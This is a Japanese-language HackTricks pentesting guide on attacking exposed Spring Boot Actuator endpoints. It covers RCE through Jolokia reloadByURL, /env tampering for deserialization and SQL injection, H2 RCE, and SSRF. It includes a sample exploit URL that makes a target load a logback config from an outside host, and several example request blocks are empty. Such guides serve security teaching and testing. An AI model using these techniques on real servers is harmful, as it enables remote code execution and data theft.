Spring Actuators
Last updated
Last updated
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
出典 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
元の投稿を確認してください [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuatorsは、/health、/trace、/beans、/envなどのエンドポイントを登録します。バージョン1から1.4では、これらのエンドポイントは認証なしでアクセス可能です。バージョン1.5以降は、デフォルトで非機密なのは/healthと/infoのみですが、開発者はこのセキュリティを無効にすることがよくあります。
特定のActuatorエンドポイントは、機密データを露出させたり、有害なアクションを許可したりする可能性があります：
/dump、/trace、/logfile、/shutdown、/mappings、/env、/actuator/env、/restart、および/heapdump。
Spring Boot 1.xでは、アクチュエーターはルートURLの下に登録されますが、2.xでは/actuator/ベースパスの下にあります。
'/jolokia'を介したリモートコード実行:
/jolokiaアクチュエーターエンドポイントは、MBeansへのHTTPアクセスを可能にするJolokiaライブラリを公開します。
reloadByURLアクションは、外部URLからのログ設定の再読み込みに悪用される可能性があり、盲目的なXXEや構築されたXML設定を介したリモートコード実行につながる可能性があります。
例の悪用URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml。
'/env'を介した設定変更:
Spring Cloudライブラリが存在する場合、/envエンドポイントは環境プロパティの変更を許可します。
プロパティは、Eureka serviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます。
例の悪用POSTリクエスト：
その他の有用な設定:
spring.datasource.tomcat.validationQuery、spring.datasource.tomcat.url、およびspring.datasource.tomcat.max-activeのようなプロパティは、SQLインジェクションやデータベース接続文字列の変更など、さまざまな悪用のために操作できます。
デフォルトのアクチュエーターの包括的なリストはこちらで見つけることができます。
Spring Boot 2.xの/envエンドポイントは、プロパティ変更のためにJSON形式を使用しますが、一般的な概念は同じです。
Env + H2 RCE:
/envエンドポイントとH2データベースの組み合わせを悪用する詳細はこちらで見つけることができます。
不正なパス名解釈によるSpring Boot上のSSRF:
SpringフレームワークのHTTPパス名におけるマトリックスパラメータ（;）の処理は、サーバーサイドリクエストフォージェリ（SSRF）に悪用される可能性があります。
例の悪用リクエスト：
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
